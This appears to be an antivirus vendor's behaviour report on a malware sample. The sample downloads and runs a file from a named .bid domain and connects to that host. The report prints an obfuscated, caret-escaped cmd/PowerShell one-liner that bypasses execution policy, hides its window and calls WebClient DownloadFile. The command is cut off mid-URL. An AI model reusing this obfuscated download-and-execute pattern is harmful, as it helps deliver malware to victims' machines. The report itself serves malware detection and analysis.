Technical Information
Malicious functions
Downloads and executes
- http://asecwitlecn.bid/read.php?f=0.dat as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "pOw^ER^SHELL.^Ex^e^ ^-eXecU^ti^onpo^Licy^ BYpASs -^NoprofIle -^wiNDo^w^StYl^e^ ^HID^De^n (^Ne^w-^oBJeCt^ sYsTEm^.ne^t.WEB^Cl^I^eNT^).d^OWn^LO^ADFil^e(^'http://asecwitlecn.bi...
Network activity
Connects to
- 'as###itlecn.bid':80
UDP
- DNS ASK as###itlecn.bid
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "pOw^ER^SHELL.^Ex^e^ ^-eXecU^ti^onpo^Licy^ BYpASs -^NoprofIle -^wiNDo^w^StYl^e^ ^HID^De^n (^Ne^w-^oBJeCt^ sYsTEm^.ne^t.WEB^Cl^I^eNT^).d^OWn^LO^ADFil^e(^'http://asecwitlecn.bi...' (with hidden window)
